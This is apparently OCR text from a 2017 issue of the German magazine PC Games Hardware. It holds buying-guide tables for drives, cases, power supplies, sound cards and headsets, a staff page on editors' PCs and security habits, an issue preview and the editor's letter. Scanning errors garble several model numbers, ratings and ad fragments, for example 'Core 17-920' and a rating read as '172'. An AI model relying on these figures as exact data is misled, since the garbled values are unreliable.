Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Western Digital Black WD4003FZEX Ca. € 260,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,9 Sone 2,5/12,9 ms 45/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 
Hitachi Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,6 Sone 6,3/14,8 ms* 31/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 
Western Digital Red WDAOEFRX Са. € 145,- | 3.726 GiB/4.000 GB | 5.400 | 0,4/0,5 Sone 6,6/18,5 ms 19/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 
Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 2,5/4,3 ms* 67/167 MB/s 172 11/2014 | www.pcgh.de/preis/1148556 
HGST Ultrastar He6 6TB Ca. € 425,- | 5.589 GiB/6.000 GB | 7.200 | 0,1/1,6 Sone 2,6/5,8 ms 43/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 
Western Digital Red WDGOEFRX Са. € 235,- | 5.589 GiB/6.000 GB | K. A. 0,3/0,4 Sone 5,8/18 ms* 27/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 
* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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SERVICE | Einkaufsführer 


Einkaufsführer Gehäuse, Netzteile & Sound — «sor 


LE Т PREIS-LEISTUNGS-TIPP [ERS fT SPAR-TIPP 


Format " 
Midi-Gehäuse (Herstelle- | Preis Lüfterplätze Enthaltene Lüfter MS т e e Wertung Test in PCGH-Preisvergleich 
rangabe) 
Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 210,- | 9x 140, 2 x 120 mm 3 x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Nanoxia Deep Silence 5 Rv B | Big-Tower | Ca. € 115,- | 4x 140/120 mm, 2 x 140 mm 3x 140 mm 2,2/2,4; 1,9/2,0 Sone | 83/90/34 °C* 1,64 04/2015 www.pcgh.de/preis/1224505 ТҮҢ 
Aerocool XPredator II Big-Tower | Ca. € 130,- | 6 x 140 mm 5x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °C** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Antec P100 Midi-Tower | Са. € 75,- | 4х 140, 1x 120 mm 2х 120 тт 2,1/2,2; 0,0/0,0 Sone | 79/85/31 °C* 1,71 06/2014 | www.pcgh.de/preis/1013922 
Phanteks Enthoo Luxe Big-Tower | Ca. € 130,- | 2 x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1,71 04/2015 | www.pcgh.de/preis/1142200 
Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4 x 140 mm, 1 x 120 mm 2x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °C** 1,84 09/2016 | www. pcgh.de/preis/1354897 «ТИҢ 
Enermax Thormax Giant Big-Tower | Ca. € 140,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °C* 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees Al Crystal Midi-Tower | Ca. € 150,- | 6x 140 mm 4x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 115,- | 5x 140/120 mm, 2 x 120 mm 3x120mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Ca. € 125,- 4x 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 100,- | 3x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °С* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Ca. € 130,- | 4x 140/1 x 120 mm 2x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 *C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Define R5 Midi-Tower | Ca. € 85,- | 9x 140/120 mm 2x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °C* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 150,- | 5x 140 mm oder 7 x 120 mm 3x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
Chieftec Gaming GP-01B Midi-Tower | Ca. € 80,- | 2 x 140 mm, 3 x 120 mm 2x 140, 1x 120 mm | 2,2/2,1 Sone*** 65/71/49 °C 2,50*** | 02/2017 | www.pcgh.de/preis/1493676 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 @ 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
** System: Intel Core 17-4790; Intel 87, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Thermalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
*** Neues Test- / Wertungssystem (siehe PCGH 02/2017) 


400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Be Quiet Dark Power Pro 11 550W | Ca. € 135,- | 4х 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Ca. € 155,- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
Cooler Master V550 Ca. € 95,- 2x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 www.pcgh.de/preis/1325567 «Т ТТЛ 
EVGA G2 550W Ca. € 105,- | 2 x 6+2-Pin (65/78 cm) 550 Wa 0,1/0,1/0,6/0,6/0,7 Sone | 87/91/92/91/90 % 1,62 09/2016 | www.pcgh.de/preis/1297440 
Corsair RM550x Ca.€90- | 2 x 6+2-Pin (58 cm) 550 Wai 0,1/0,1/0,1/0,1/0,2 Sone | 85/90/92/91/90 % 1,64 09/2016 | www.pcgh.de/preis/1331023 
XFX TS 550 Gold ca. € 65,- 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 09/2016 | www.pcgh.de/preis/1076839 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Seasonic Prime Titanium 650W Ca. € 160,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Са. € 130,- | 4 x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W CM | Ca. € 120,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Corsair HX1000i Ca. € 215,- | 4 x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Са. € 160,- | 4x 6+2-Pin (50 cm) 840 Watt 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Ca. € 140,- | 2 x 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate GE eye E o Besonderheiten u. a. Test in 

Creative Sound Blaster ZXR Са. 200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB а, TPA6120A2 аа Gesockelte Op-Amps, Tischbox | 1,41 05/2015 | www.pcgh.de/preis/886468 

Asus Xonar Essence STX 2 7.1 | Ca. 230,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB а, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 

Asus Xonar Phoebus Ca. 135,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanále/Abtastrate GE E GE - Besonderheiten u. a. Test in 

Creative Sound Blaster X7 Ca. 330,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB а, TPA6120A2 аЛа Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 

Creative Sound Blaster Omni |Ca.60,- | Bis 5.1/24 Bit bei 96 KHz С54361/100 dB a, MAX97220A alja Integriertes Mikrofon 2,18 | 05/2015 | www.pcgh.de/preis/1003999 «Т ТЛ. 
Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, ТРЅ6130А2 ein/nein Mikr.-Lautstárkeregl. am Gerát 2,27 05/2015 | www.pcgh.de/preis/1150607 

Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 
Beyerdynamic MMX 300 | Ca. 300,- | Klinke Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 

Steelseries Siberia 800 Ca. 220,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 

Asus ROG Centurion Ca. 250,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 

Sennheiser GSP 350 Ca. 140,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 03/2017 | www.pcgh.de/preis/1 543799 4T 5 ek 
Logitech G533 Wireless Ca. 110,- | Funk Geschlossen, ohrumschließend | 350 Gramm | 32 Ohm Ja, virtuell | Umfangreiche Software 1,89 | 06/2017 | www.pcgh.de/preis/155893 

Kingston Hyper X Cloud 2 | Ca. 80,- | USB, Klinke Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Kabelfernbedienung, Presets 1,94 | 08/2015 | www.pcgh.de/preis/1223096 

Lioncast LX 50 Са. 60,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, extra Polster 1,94 03/2017 www.pcgh.de/preis/1560427 ТИ 
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SERVICE | Teamseite 


Die Redaktion 


Ree) BAYER 
Chefredakteur Ree) tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


TER 


RAFFAE 


er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Battle Brothers kostet mich derzeit den wenigen Schlaf, den ich 
aktuell so habe. Schlimmes Spiel. :-) 


Meine Online-Sicherheit gewährleistet ... in , Echtzeit" aktuell der Win- 
dows Defender sowie ein selektiv eingesetztes No-Script-Tool. Dazu gesellen 
sich hándisch durchgeführte Online-Virenscans, diverse Authenticators und 
natürlich das Wichtigste: Hirn einschalten beim Surfen und Mailen. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
2170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Wie letzten Monat angedeutet, habe ich bei AMDs „Volks-Acht- 
kerner" zugeschlagen. Da ich ein passionierter PC-Tuner bin, fiel meine Wahl 
auf das Asus Crosshair VI Hero, welches nach dem gefühlt 13. UEFI-Update 
wirklich gut läuft. Derzeit bin ich mit Tuning und Undervolting beschäftigt. 


Meine Online-Sicherheit gewährleistet ... seit Äonen die Free-Version 
des Avira Antivirus, kombiniert mit einer stets frischen brain.exe. 


Privat-PC: AMD Ryzen R7 1700 (3,0 GHz fix), Asus Crosshair VI Hero, 2 x 8 
GiB, GTX Titan X + Accelero Xtreme IV @ 1.450/4.196 MHz, LG DCI-4K-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Mit Thimbleweed Park hatte ich einen schönen Ausflug in die 
Vergangenheit. Ein GiByte reicht für ein gutes Spiel, auch wenn es mir etwas 
zu viele Anspielungen und nur streckenweise verfügbare Charaktere waren. 


Meine Online-Sicherheit gewährleistet ... ein eigenes IT-Team, das ich 
von meinem prallgefüllten Caymans-Konto finanziere. Immer wenn einer von 
hirn.bat und brain.exe erzáhlt, geht da ein Euro ein — steueroptimiert. 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24 Zoll FHD-LCD, Obsidian 800D 


MANUEL Eee] 


Redakteur Eee] mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Müsste passend zum Frühlingsanfang mal ein bisschen gesäubert 
werden. 


Meine Online-Sicherheit gewährleistet ... der logische Menschenver- 
stand, eine noch zu deinstallierende Avast-Kopie (war mal ganz nett, lässt 
inzwischen aber auch ständig Pop-ups aufpoppen) und ansonsten der gute 
alte Windows-Defender. 


Privat-PC: Core i7-4790K, Asus Z97-A, Corsair 16 GiB DDR3-1600, Radeon 
R9 390, Sandisk Ultra Il 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Aufgrund meines Bastelwahns werde ich wohl wieder zum „ech- 
ten“ PC umsteigen: Habe mir ein schickes altes Röhrenradio gekauft, das mein 
neues Casemod-Projekt wird. Man sei gespannt. 


Meine Online-Sicherheit gewährleistet .. . mein Virenscanner, mein 
umsichtiges Verhalten und mein ungesunder Menschenverstand. Da ich noch 
nie Probleme hatte, scheine ich alles richtig zu machen. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 
£ 


PC aktuell: Wenn ich bei schönem Wetter nicht auf dem Balkon sitze, verbringe 
ich momentan gern Zeit mit dem Battlefield-1-DLC. Außerdem hab ich mir Days 
of Infamy zugelegt — mal sehen, der recht hohe Anspruch gefällt mir schon mal. 


Meine Online-Sicherheit gewährleiste ... ich selbst — nach bestem 
Können. Einfangen kann man sich immer mal was, aber mit ein bisschen 
Achtsamkeit kann man fast alle Probleme vermeiden. 


Privat-PC: i7-5820K @ 4,2 GHz, 32 GiB DDR4, 1x 960 + 3x 512 GB SSDs, 
2x WD 3 TB, GTX 980 @ 1,4 GHz, SB ZxR, Asus STX Il, 27-Zoll-Freesync-LCD 


FRANK STÖWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeräte, Mauspads und G 


ehäuse 


PC aktuell: Ich bastle gerade am 60-Euro-Pentium G4560 herum. Natürlich 
kein Vergleich zu Quad- oder Octocores, doch für unsere aktuelle Vollversion 
DSA Memoria (bin alter DSA-Fan!) genügt selbst die HD-610-IGP vollauf. :-) 


Meine Online-Sicherheit gewährleistet ... der gesunde Menschenver- 
stand, No-Script, ein separater Linux-Rechner für „kritische” Dinge wie Finanz- 
sachen, regelmäßige Backups und ansonsten der popelige Windows-Defender. 


Privat-PC: i7-5775C (UV @ 3,6 GHz), 16 GiB DDR3-1866-RAM, NVME-SSD 
(128 GB), RX 480 (4+4G), 120Hz-LCD (24"), Mini-ITX-Gehäuse (11 Liter Vol.) 


PC aktuell: Die Wohnzimmer-Renovierung hat dafür gesorgt, dass ich meinen 
Spiele-Mini neu verkabeln muss. Zum Glück sind meine Eingabegeräte drahtlos. 


Meine Online-Sicherheit gewährleistet ... wie bei vielen Kollegen der 
Windows Defender. Nachdem die Kaspersky-Lizenz aufgebraucht war und ich 
unter Windows 7 schon mit den MS Internet Security Essentials gute Erfahrun- 
gen gemacht habe, bin ich bei der Umsonstlösung von Windows 10 geblieben. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


VOGEL 


Redakteur tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


ALEXANDROS BIKOULIS 
Volontär | ab@pcgh.de | Fachbereiche: Netzteile und Videos 


PC aktuell: Meine MX610 ist tot, ich suche eine neue Funkmaus mit vielen 
sinnvoll platzierten Tasten. Aktueller Stand: Logitech G700 vor G620 (zu flach 
— und laut), Gigabyte Uranium (kaum konfigurierbar) & Asus Spatha (zu breit) 


Meine Online-Sicherheit gewährleisten ... Brain 1.0 und Opera 12.18. 
Der integrierte Plug-in-Blocker und Vorsicht bei dubiosen Quellen schützen 
vor komplexen Attacken, Alter, Patches und Seltenheit vor html-Exploits. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDR4-2133, Asus GTX 780 Ti 
© 1.245/3.800 MHz; alles  Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


DANIEL WAADT 


£ 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PC aktuell: Der wurde generalgereinigt und die Kabel neu arrangiert. Jetzt bin 
ich am überlegen, der Gurke eine neue Grafikkarte zu spendieren. Ideen? 


Meine Online-Sicherheit gewährleistet ... mir (meistens) mein Hirn. 
Gebrowst wird nur mit Ad-Blocker, De-Tracker, ohne Java-Script und in einer 
Sandbox — meinen letzten Virus hatte ich deswegen vor Jahren. Virenscanner 
sind in meinen Augen , Snake Oil" und schaden mehr als dass sie nutzen. 


Privat-PC: Intel Core i5-3450, 8 GiByte DDR-RAM, AMD Radeon HD 7700 
OC, P8B75-MLX (ATX) 


STEPHAN WILKE 
Community Content Commerce Manager | swGpcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 


PC aktuell: Ich staune gerade über ein PC-Phänomen: Sind zwei PCs per DVI- 
Kabel an meinem Samsung-Monitor angeschlossen und nutze ich bei einem PC 
„Energie sparen" statt , Herunterfahren", geht der andere PC nicht mehr an. 


Meine Online-Sicherheit gewáhrleistet ... der Windows Defender, 
nachdem ich mit kommerziellen Antivirenprogrammen nur Ärger hatte und die 
inzwischen auch sehr umstritten sind (PCGH-News: https://goo.gl/9UBnbY). 


Privat-PC: Core i7-7700K, 16 GiB DDRA, Asus 7170 Pro Gaming, Asus GTX 
1050 Ti Strix, Samsung 960 Pro 512-GB-SSD, Seasonic-PSU (lüfterlos) 
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PC aktuell: Ich habe mich für die Closed Beta von Quake Champions ange- 
meldet, muss bei meinem Glück aber wohl länger warten. 


Meine Online-Sicherheit gewährleistet ... neben umsichtigem Vorgehen 
unter anderem Noscript und Gdata-Software. Letztere wird jährlich im Dreier- 
Pack angeschafft, so zahlt jeder Nutzer unter 1 Euro pro Monat. Außerdem 
führe ich nicht alle Aktivitäten am gleichen System durch. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 


S 


www.pcgameshardware.de 


x 


| 


i 
Com а 


Tägliche & wöchentliche 
»Wunderbar! Habt ihr 
News-Show! gut gemacht!< 


DAS SAGEN 
DIE USER: | 


»Top! Weiter so 
Brandneu und danke!« 


Táglich brandheiBe 
Keep Gaming-Clips für PS4, Xbox Zeen, | 
: One, Wii U, PC und Mobile Reeg, 


»Mein eigenes 
Spielefernsehen! 
Informativ, 


Die besten Kino-Trailer Ii 


aufbereitet.« 


— 


The Division Beta, < Über 20.000 Videos 
‚10:50 9 ЗЕ ы іп der Datenbank! 


^ The Division (Beta 
4 The Division im Vid 
P sl. ss Wir vergleichen апі 
ж ж ж ж ж & 03:32 © 787 
7 
"e The Division Beta, TÍ 
Der Beta-Test von Thé 
wurder verlängert, Th 
кж k ж * 6 10:50 D 643 ' 
Marvel Heroes 2016: La 
3 Marvel Heroes 2016 steht 
Download bereit. Passend 


Cock X * * 8 01213 255 


7 Erhältlich im - 
€ AppStore 


= б 


JETZT ВЕІ 
Le Google Play 


KI KN 
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Vorschau:07/2017 


Netzteile bis 650 Watt im Test 


Ohne einen Energieversorger läuft im PC nichts und ein effizienter Stromgeber sollte in 
jedem Spiele-PC stecken. Doch was kostet ein Netzteil mit bis zu 650 Watt und welcher 
Hersteller ist empfehlenswert? Unsere Marktübersicht in der nächsten Ausgabe klärt auf. 


Marktüber- 
sicht DDR4- 
Speicher 


Dank Ryzen/AM4-Boards besteht 


ein erhöhter Bedarf an DDRA-RAM. 
PCGH gibt Kaufempfehlungen. 


Kaufbera- 
tung LCDs 


Auf welche Features kommt es 
wirklich an und welche sind nur 
Geschmackssache? Wir zeigen, 
worauf Sie beim Kauf eines spiele- 
tauglichen Monitors achten sollten. 


Weitere Themen (u. a.) 


I Tests: Günstige Notebooks, Herstellerdesigns GTX 1080 Ti und RX 500 
I Praxis: Kühlung für M.2-SSDs im Praxistest, BIOS/UEFI konfigurieren 
I Info: DNA-Speicher als Alternative zu aktuellen Speichermedien 


Vollversion 
Crookz: 
Der große Coup 


Die nächste PC Games Hard- 
ware erscheint am 7. Juni 2017. 
Abonnenten bekommen das 
Heft üblicherweise 
einen bis drei Tage früher. 

* Alle Angaben und Termine ohne Gewähr. Aufgrund von Termin- 


verschiebungen auf Herstellerseite kann es zu außerplanmäßigen 
Änderungen kommen. 
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EXKLUSIV: PROZESSOR UND GRAFIK DER NEUESTEN GENERATION 
| Intel? Core" i7-7820HK Prozessor der siebten Generation | Windows 10 Home / Windows 10 Pro | 
| Neueste GeForce? GTX 10 Grafikkarte | VR Ready | Cooler Boost Titan Kühlung | Super RAID 4 | 
| Mehrfarbig beleuchtete Gaming-Tastatur | Cherry MX Speed Silver Switches | DDR4-2400 | 
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Intel Inside®. Herausragende Leistung Outside. 
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Ausgabe 201 === 
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"d dh A ^ Г T is DDR4-4000 
Kritiscn Jeprurt Tests von DDR4-2400 bis D 


Ryzen-RAM: Eine Bestandsaufnahme I RAM-Kits mit RGB-LED-Beleuchtung 


12 Modelle bis € 350,- | Bendgate 2.0: Kritische Kuhler 
Mittelklasse- Das muss Kaby Lake aushalten! s ¿ 
Grafikkarten 


— | Titan Xp + GTX 1080 (11 Gbps) 


Sind die schnellen Grafikkarten ihr Geld wert? : » 


j Ryzen 5 1600 vs. Core 
x 15-7600К im Multiplayer-Test 


Escape from Tarkov, Playerunknown's 
Battlegrounds, Rainbow Six Siege, Ark: Survival Evolved s. 
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Logbuch #201: Hauptsache PCGH — 
blendende Aussichten — Quake 


Hauptsache, PCGH: Mit großer Freude habe ich die vielen positiven Rückmeldungen zur Ausgabe  : 
200 gelesen. Und auch ich frage mich wie Leser Fabian K. manchmal, ob „wirklich schon so viele ; facebook 
Jahre und Ausgaben vergangen sind“. An dieser Stelle möchte ich allen treuen Lesern danken, : 

die teilweise seit der ersten Ausgabe dabei sind - ob nun als stiller Genießer oder aktiver Mitge- i PCGH-Fan werden auf: 
stalter, ob als Abonnent oder Einzelheftkäufer, ob analog oder digital, Hauptsache PCGH! Und i 

scheuen Sie sich bitte nicht, mir weiter Ihre Meinung kundzutun - Mails an tb@pcgh.de landen 


auf jeden Fall in meinem Posteingang, auch wenn die Beantwortung manchmal etwas länger 
dauert. 


е Blendende Aussichten: Wie macht man nach so einer besonderen Ausgabe eigentlich weiter? 
EE Ganz einfach: wie immer. Wenn man auf die CPU- und GPU-Roadmaps für 2017 und darüber 
PC Games Hardware hinaus blickt, wird einem jedenfalls nicht gerade bange, was Neuheiten angeht. Im Grafikkar- 

tenmarkt steht die Radeon RX Vega von AMD voraussichtlich ab Juli bereit, Volta von Nvidia 

scharrt zumindest mit den Hufen (mehr dazu ab Seite 20). Schafft es AMD analog zu den Prozes- 
soren, nach fast zwei Jahren „Pause“ auch bei 3D-Beschleunigern wieder in der obersten Liga mitzuspielen? Wir sind sehr 
gespannt darauf. Der CPU-Markt ist dank Ryzen ja sowieso spannender denn je. Während Intel mit Skylake-X und Kaby 
Lake-X gleich zwei neue Plattformen quasi fertig hat und mit Coffee Lake-S schon die nächste auf die Veröffentlichung 
lauert, wird AMD mit Ryzen 3 und dem 16-Kern-Monster Threadripper ab Sommer nachlegen. Die angekündigten Verbes- 
serungen beim Fertigungsprozess (Zen 1 mit 14 Nanometer+, Zen 2 mit 7 Nanometer) schen auch hoffnungsvoll aus. Ich 
kann mich nicht erinnern, wann sowohl der CPU- als auch der GPU-Markt dermaßen spannend waren. Sie? 


Quake für DVD-Käufer: Eigentlich war es schon zur 200. Ausgabe geplant, den PCGH-Lesern mit Quake einen absoluten 
Retro-Kracher anzubieten. Nun hat es erst zur Ausgabe 201 geklappt, aber am Ende zählt nur, dass Sie diesen wegweisen- 
den Shooter nun endlich (erneut) ausprobieren können. Am besten natürlich im Zusammenspiel mit den zahlreichen 
Grafikmods, die den Ego-Shooter richtig gut aussehen lassen. Sie glauben mir nicht? Dann sollten Sie schnell auf Seite 7 
nachschauen und gleich den Anweisungen folgen. Sollten wir uns künftig noch mehr um Downloadcodes für Spiele küm- 
mern? Sind diese gar wichtiger als physische Vollversionen? Dann lassen Sie mich das wissen. 


Viel Spaß mit der Ausgabe Nummer 201 wünscht Ihr 


Raff lässt 12 
Mittelklasse-Grafik- 
karten bis 350 Euro 
(Custom-Designs der 
GTX 1060 und RX 
500) zum Schlag- 
abtausch antreten. 


Alexandros beendet 
die Netzteiltestpause 

und ordert für seine 

erste Marktübersicht zehn 
Mittelklasse-Netzteile mit 
500 bis 650 Watt Leis- 
tungsaufnahme ins Labor. 


Die Redaktion 
im Mai 2017 


Phil unter- +++ Der Spieleonkel lässt es (bunt) leuchten und präsentiert in seiner 
sucht beliebte 


Mehrspieler-Titel Marktübersicht einen Überblick über neue Gamer-Tastaturen. +++ Carsten 
des Jahres 2017 informiert, bei welchem Ryzen-Modell Sie Ihr Geld am besten anlegen. +++ 
und setzt dabei Torsten ermittelt für Sie, ob aktuelle CPU-Kompaktwasserkühlungen das leisten, 
einen Ryzen 5 was sie versprechen. +++ Stephan testet im Speicher-Special, wie flott die leucht- 


1600 sowie Core 
i5-7600K ein. 


starken DDR4-Speicherkits sowie Modelle mit konventioneller Optik sind. +++ 
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Heftinhalt 


Seite 08 


DDR4-Speicherspecial............................. 8 
Drei DDR4-Kits mit und neun ohne RGB-Beleuch- 
tung im Leistungstest, Ryzen-Kompatibilität geprüft 


GRAFIKKARTEN 


E E EE 18 
Leistungsindex von 20 Grafikkarten, günstige 
Einsteiger-GPUs: GT 1030 und RX 550/560 

Info: Vorschau auf Vega und Volta .............. 20 
Diese Technik und Leistung kann man von Nvidias 
und AMDs kommenden High-End-GPUs erwarten 
Test: Titan Xp und GTX 1080-11Gbps ......... 26 
Sind die Titan Xp und die verbesserte Geforce 
GTX 1080 mit 11-Gbps-Speicher ihr Geld wert? 
Test: Herstellerdesigns RX 500 & GTX 1060..32 
12 Karten ringen um den Mittelklasse-Thron 


PROZESSOREN 


Startseite: ............................................... 42 
Leistungsindex von 40 Prozessoren, neue Infos 
zu AMDs Threadripper und Intels Skylake X 
Praxis: AMD Ryzen (Nachschlag) ................ 44 
Bei welcher CPU der AMD-Ryzen-Palette ist das 
Geld am besten angelegt? 
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DDR4-Speicherspecial 
Wir testen, welche Leistung von den neuen, 
